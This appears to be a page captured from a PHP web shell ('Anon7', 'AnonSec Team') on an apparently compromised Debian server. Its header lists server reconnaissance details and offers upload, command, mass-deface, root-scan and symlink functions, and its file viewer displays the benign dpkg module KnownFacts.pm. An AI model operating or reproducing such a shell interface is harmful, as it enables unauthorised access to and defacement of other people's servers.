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/  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/perl5/Dpkg/Deps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/perl5/Dpkg/Deps/KnownFacts.pm
# Copyright © 1998 Richard Braakman
# Copyright © 1999 Darren Benham
# Copyright © 2000 Sean 'Shaleh' Perry
# Copyright © 2004 Frank Lichtenheld
# Copyright © 2006 Russ Allbery
# Copyright © 2007-2009 Raphaël Hertzog <hertzog@debian.org>
# Copyright © 2008-2009, 2012-2014 Guillem Jover <guillem@debian.org>
#
# This program is free software; you may redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <https://www.gnu.org/licenses/>.

package Dpkg::Deps::KnownFacts;

=encoding utf8

=head1 NAME

Dpkg::Deps::KnownFacts - list of installed real and virtual packages

=head1 DESCRIPTION

This object represents a list of installed packages and a list of virtual
packages provided (by the set of installed packages).

=cut

use strict;
use warnings;

our $VERSION = '1.01';

use Dpkg::Version;

=head1 METHODS

=over 4

=item $facts = Dpkg::Deps::KnownFacts->new();

Creates a new object.

=cut

sub new {
    my $this = shift;
    my $class = ref($this) || $this;
    my $self = {
        pkg => {},
        virtualpkg => {},
    };

    bless $self, $class;
    return $self;
}

=item $facts->add_installed_package($package, $version, $arch, $multiarch)

Records that the given version of the package is installed. If
$version/$arch is undefined we know that the package is installed but we
don't know which version/architecture it is. $multiarch is the Multi-Arch
field of the package. If $multiarch is undef, it will be equivalent to
"Multi-Arch: no".

Note that $multiarch is only used if $arch is provided.

=cut

sub add_installed_package {
    my ($self, $pkg, $ver, $arch, $multiarch) = @_;
    my $p = {
        package => $pkg,
        version => $ver,
        architecture => $arch,
        multiarch => $multiarch // 'no',
    };

    $self->{pkg}{"$pkg:$arch"} = $p if defined $arch;
    push @{$self->{pkg}{$pkg}}, $p;
}

=item $facts->add_provided_package($virtual, $relation, $version, $by)

Records that the "$by" package provides the $virtual package. $relation
and $version correspond to the associated relation given in the Provides
field (if present).

=cut

sub add_provided_package {
    my ($self, $pkg, $rel, $ver, $by) = @_;
    my $v = {
        package => $pkg,
        relation => $rel,
        version => $ver,
        provider => $by,
    };

    $self->{virtualpkg}{$pkg} //= [];
    push @{$self->{virtualpkg}{$pkg}}, $v;
}

=item ($check, $param) = $facts->check_package($package)

$check is one when the package is found. For a real package, $param
contains the version. For a virtual package, $param contains an array
reference containing the list of packages that provide it (each package is
listed as [ $provider, $relation, $version ]).

This function is obsolete and should not be used. Dpkg::Deps::KnownFacts
is only meant to be filled with data and then passed to Dpkg::Deps
methods where appropriate, but it should not be directly queried.

=cut

sub check_package {
    my ($self, $pkg) = @_;

    warnings::warnif('deprecated', 'obsolete function, pass ' .
                     'Dpkg::Deps::KnownFacts to Dpkg::Deps methods instead');

    if (exists $self->{pkg}{$pkg}) {
        return (1, $self->{pkg}{$pkg}[0]{version});
    }
    if (exists $self->{virtualpkg}{$pkg}) {
        my $arrayref = [ map { [
            $_->{provider}, $_->{relation}, $_->{version}
        ] } @{$self->{virtualpkg}{$pkg}} ];
        return (1, $arrayref);
    }
    return (0, undef);
}

##
## The functions below are private to Dpkg::Deps::KnownFacts.
##

sub _find_package {
    my ($self, $dep, $lackinfos) = @_;
    my ($pkg, $archqual) = ($dep->{package}, $dep->{archqual});

    return if not exists $self->{pkg}{$pkg};

    my $host_arch = $dep->{host_arch} // Dpkg::Arch::get_host_arch();
    my $build_arch = $dep->{build_arch} // Dpkg::Arch::get_build_arch();

    foreach my $p (@{$self->{pkg}{$pkg}}) {
        my $a = $p->{architecture};
        my $ma = $p->{multiarch};

        if (not defined $a) {
            $$lackinfos = 1;
            next;
        }
        if (not defined $archqual) {
            return $p if $ma eq 'foreign';
            return $p if $a eq $host_arch or $a eq 'all';
        } elsif ($archqual eq 'any') {
            return $p if $ma eq 'allowed';
        } elsif ($archqual eq 'native') {
            return if $ma eq 'foreign';
            return $p if $a eq $build_arch or $a eq 'all';
        } else {
            return $p if $a eq $archqual;
        }
    }
    return;
}

sub _find_virtual_packages {
    my ($self, $pkg) = @_;

    return () if not exists $self->{virtualpkg}{$pkg};
    return @{$self->{virtualpkg}{$pkg}};
}

=item $facts->evaluate_simple_dep()

This method is private and should not be used except from within Dpkg::Deps.

=cut

sub evaluate_simple_dep {
    my ($self, $dep) = @_;
    my ($lackinfos, $pkg) = (0, $dep->{package});

    my $p = $self->_find_package($dep, \$lackinfos);
    if ($p) {
        if (defined $dep->{relation}) {
            if (defined $p->{version}) {
                return 1 if version_compare_relation($p->{version},
                                                     $dep->{relation},
                                                     $dep->{version});
            } else {
                $lackinfos = 1;
            }
        } else {
            return 1;
        }
    }
    foreach my $virtpkg ($self->_find_virtual_packages($pkg)) {
        next if defined $virtpkg->{relation} and
                $virtpkg->{relation} ne REL_EQ;

        if (defined $dep->{relation}) {
            next if not defined $virtpkg->{version};
            return 1 if version_compare_relation($virtpkg->{version},
                                                 $dep->{relation},
                                                 $dep->{version});
        } else {
            return 1;
        }
    }
    return if $lackinfos;
    return 0;
}

=back

=head1 CHANGES

=head2 Version 1.01 (dpkg 1.16.1)

New option: Dpkg::Deps::KnownFacts->add_installed_package() now accepts 2
supplementary parameters ($arch and $multiarch).

Deprecated method: Dpkg::Deps::KnownFacts->check_package() is obsolete,
it should not have been part of the public API.

=head2 Version 1.00 (dpkg 1.15.6)

Mark the module as public.

=cut

1;

Anon7 - 2022
AnonSec Team